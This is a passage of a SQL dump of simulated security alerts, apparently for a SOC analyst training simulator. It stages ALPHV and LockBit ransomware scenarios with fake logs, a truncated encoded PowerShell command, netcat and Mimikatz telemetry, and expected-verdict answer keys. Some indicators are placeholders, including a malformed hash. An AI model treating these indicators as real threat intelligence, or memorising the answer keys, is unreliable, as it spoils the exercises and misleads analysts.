Transfer\\\",\\\"alert_severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.538Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:55Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"5e884898da28047151d0e56f8dc6292773603d0d6aabbddf\\\",\\\"user\\\":\\\"john_doe\\\",\\\"action\\\":\\\"allowed\\\",\\\"rule_triggered\\\":\\\"Sensitive Data Transfer\\\",\\\"alert_severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.538Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:55Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"5e884898da28047151d0e56f8dc6292773603d0d6aabbddf\\\",\\\"user\\\":\\\"john_doe\\\",\\\"action\\\":\\\"allowed\\\",\\\"rule_triggered\\\":\\\"Sensitive Data Transfer\\\",\\\"alert_severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.538Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:55Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"5e884898da28047151d0e56f8dc6292773603d0d6aabbddf\\\",\\\"user\\\":\\\"john_doe\\\",\\\"action\\\":\\\"allowed\\\",\\\"rule_triggered\\\":\\\"Sensitive Data Transfer\\\",\\\"alert_severity\\\":\\\"Critical\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1562, 'Initial Access: Spear Phishing Campaign', 'high', 'Email Gateway Logs', 'A spear phishing email was detected targeting key personnel to compromise user credentials and gain network access. The email contained a malicious attachment and was sent from an external IP address associated with known threat actor ALPHV.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:12Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"email_subject\":\"Urgent: Update Your Account Information\",\"sender_email\":\"john.doe@maliciousdomain.com\",\"recipient_email\":\"jane.smith@company.com\",\"attachment\":{\"filename\":\"Account_Update.docx\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\"}', '2026-03-15 19:13:33', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with ALPHV phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"john.doe@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address used in phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Account_Update.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis Service\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in phishing attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by ALPHV.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Spear Phishing Campaign\",\"date\":\"2026-03-15T20:58:15.542Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1563, 'Execution: Rust-Based Ransomware Deployment', 'high', 'Endpoint Detection and Response (EDR) System', 'The ALPHV ransomware group has deployed a Rust-based ransomware payload on an internal network device, aiming to encrypt critical data files using advanced encryption techniques. This is the second step in their operation, following initial access.', 'Malware', 'T1059.006', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"EDR-8764\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.2.3.15\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"process_name\":\"ransomware_exe.exe\",\"file_hash\":\"b0c4d5e3f6a7b8c9d1e2f3a4b5c6d7e8f9g0h1i2\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\ransomware_exe.exe\",\"malware_family\":\"ALPHV\",\"detected_action\":\"file execution\",\"severity_level\":\"high\"}', '2026-03-15 19:13:33', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised endpoint.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.2.3.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address targeted for ransomware deployment.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with ransomware operations.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware_exe.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious\",\"verdict\":\"malicious\",\"details\":\"File associated with the ALPHV ransomware family.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"b0c4d5e3f6a7b8c9d1e2f3a4b5c6d7e8f9g0h1i2\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of the ALPHV ransomware campaign.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1564, 'Persistence: Establishing Backdoor Access', 'high', 'Network Traffic Analysis', 'Detected unusual outbound traffic patterns indicative of backdoor installation by the ALPHV group. Analysis reveals communication with known malicious IP addresses and the execution of suspicious binaries.', 'Backdoor', 'T1105: Ingress Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.57\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"dst_port\":4444,\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"filename\":\"netcat.exe\",\"username\":\"compromised_user\",\"event_type\":\"network_connection\",\"direction\":\"outbound\",\"action\":\"allowed\"}', '2026-03-15 19:13:33', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised system\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with ALPHV group\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":false,\"osint_result\":{\"source\":\"malwaredb\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious netcat binary\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"netcat.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"Executable used for unauthorized remote access\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"userdb\",\"verdict\":\"suspicious\",\"details\":\"Account observed in suspicious activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1565, 'Lateral Movement: Network Propagation', 'critical', 'SIEM Alerts', 'ALPHV has successfully moved laterally within the network, exploiting weak credentials and unpatched systems to expand control over additional systems. Credential dumping activity detected during the operation.', 'Credential Dumping', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-22T14:37:45Z\",\"event_type\":\"credential_dumping\",\"source_ip\":\"185.243.115.84\",\"destination_ip\":\"192.168.1.15\",\"user\":\"compromised_user\",\"file_name\":\"lsass_dump.dmp\",\"hash\":\"3a4b55c88d2f4b6a9ccf3c4e9d6d8e4b\",\"action\":\"dumped_credentials\",\"description\":\"ALPHV actor utilized Mimikatz to dump credentials from LSASS process.\"}', '2026-03-15 19:13:33', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.243.115.84\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used in lateral movement.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"lsass_dump.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"File associated with credential dumping.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3a4b55c88d2f4b6a9ccf3c4e9d6d8e4b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Mimikatz sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.555Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:37:45Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"185.243.115.84\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_name\\\":\\\"lsass_dump.dmp\\\",\\\"hash\\\":\\\"3a4b55c88d2f4b6a9ccf3c4e9d6d8e4b\\\",\\\"action\\\":\\\"dumped_credentials\\\",\\\"description\\\":\\\"ALPHV actor utilized Mimikatz to dump credentials from LSASS process.\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.555Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:37:45Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"185.243.115.84\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_name\\\":\\\"lsass_dump.dmp\\\",\\\"hash\\\":\\\"3a4b55c88d2f4b6a9ccf3c4e9d6d8e4b\\\",\\\"action\\\":\\\"dumped_credentials\\\",\\\"description\\\":\\\"ALPHV actor utilized Mimikatz to dump credentials from LSASS process.\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.555Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:37:45Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"185.243.115.84\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_name\\\":\\\"lsass_dump.dmp\\\",\\\"hash\\\":\\\"3a4b55c88d2f4b6a9ccf3c4e9d6d8e4b\\\",\\\"action\\\":\\\"dumped_credentials\\\",\\\"description\\\":\\\"ALPHV actor utilized Mimikatz to dump credentials from LSASS process.\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.555Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:37:45Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"185.243.115.84\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_name\\\":\\\"lsass_dump.dmp\\\",\\\"hash\\\":\\\"3a4b55c88d2f4b6a9ccf3c4e9d6d8e4b\\\",\\\"action\\\":\\\"dumped_credentials\\\",\\\"description\\\":\\\"ALPHV actor utilized Mimikatz to dump credentials from LSASS process.\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.555Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-22T14:37:45Z\\\",\\\"event_type\\\":\\\"credential_dumping\\\",\\\"source_ip\\\":\\\"185.243.115.84\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_name\\\":\\\"lsass_dump.dmp\\\",\\\"hash\\\":\\\"3a4b55c88d2f4b6a9ccf3c4e9d6d8e4b\\\",\\\"action\\\":\\\"dumped_credentials\\\",\\\"description\\\":\\\"ALPHV actor utilized Mimikatz to dump credentials from LSASS process.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1566, 'Exfiltration: Data Leak Site Upload', 'critical', 'Data Leak Monitoring Service', 'ALPHV has uploaded sensitive data to their leak site, threatening to expose it publicly if ransom demands are not met. This critical step signifies the culmination of their data exfiltration attack, increasing pressure on the victim to comply with the ransom.', 'Data Exfiltration', 'T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:52Z\",\"event_id\":\"DL-2023-1015\",\"source_ip\":\"198.51.100.45\",\"destination_ip\":\"203.0.113.5\",\"internal_ip\":\"192.168.1.35\",\"username\":\"jdoe\",\"exfiltrated_files\":[\"confidential_data.zip\",\"financial_records.xlsx\"],\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"leak_site_url\":\"http://malicious-leak-site.com/upload\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\",\"action\":\"Upload\",\"threat_actor\":\"ALPHV\"}', '2026-03-15 19:13:33', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"Known ALPHV threat actor IP used for exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal host used for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-leak-site.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"Known leak site associated with ALPHV.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with exfiltrated confidential data.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal File Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file exfiltrated to leak site.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.563Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"event_id\\\":\\\"DL-2023-1015\\\",\\\"source_ip\\\":\\\"198.51.100.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_data.zip\\\",\\\"financial_records.xlsx\\\"],\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"leak_site_url\\\":\\\"http://malicious-leak-site.com/upload\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\",\\\"action\\\":\\\"Upload\\\",\\\"threat_actor\\\":\\\"ALPHV\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.563Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"event_id\\\":\\\"DL-2023-1015\\\",\\\"source_ip\\\":\\\"198.51.100.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_data.zip\\\",\\\"financial_records.xlsx\\\"],\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"leak_site_url\\\":\\\"http://malicious-leak-site.com/upload\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\",\\\"action\\\":\\\"Upload\\\",\\\"threat_actor\\\":\\\"ALPHV\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.563Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"event_id\\\":\\\"DL-2023-1015\\\",\\\"source_ip\\\":\\\"198.51.100.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_data.zip\\\",\\\"financial_records.xlsx\\\"],\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"leak_site_url\\\":\\\"http://malicious-leak-site.com/upload\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\",\\\"action\\\":\\\"Upload\\\",\\\"threat_actor\\\":\\\"ALPHV\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.563Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"event_id\\\":\\\"DL-2023-1015\\\",\\\"source_ip\\\":\\\"198.51.100.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_data.zip\\\",\\\"financial_records.xlsx\\\"],\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"leak_site_url\\\":\\\"http://malicious-leak-site.com/upload\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\",\\\"action\\\":\\\"Upload\\\",\\\"threat_actor\\\":\\\"ALPHV\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.563Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"event_id\\\":\\\"DL-2023-1015\\\",\\\"source_ip\\\":\\\"198.51.100.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_files\\\":[\\\"confidential_data.zip\\\",\\\"financial_records.xlsx\\\"],\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"leak_site_url\\\":\\\"http://malicious-leak-site.com/upload\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\",\\\"action\\\":\\\"Upload\\\",\\\"threat_actor\\\":\\\"ALPHV\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1567, 'Phishing Campaign Detected', 'medium', 'Email Gateway Logs', 'A phishing email was detected attempting to gain initial access to the network. The email contained a malicious attachment linked to the LockBit ransomware group.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:32:00Z\",\"email\":{\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.2.3\",\"from\":\"attacker@example.com\",\"to\":\"user@company.com\",\"subject\":\"Urgent: Update Your Account Information\",\"attachment\":{\"filename\":\"Invoice_8374.docx\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\"},\"urls\":[\"http://malicious-link.com/update\"]}}', '2026-03-15 19:15:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash known to be associated with LockBit ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address linked to phishing activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"Invoice_8374.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used in phishing campaigns.\"}},{\"id\":\"artifact_6\",\"type\":\"url\",\"value\":\"http://malicious-link.com/update\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"URL used for phishing and malware distribution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Campaign Detected\",\"date\":\"2026-03-15T20:58:15.567Z\",\"x-mailer\":\"PHPMailer 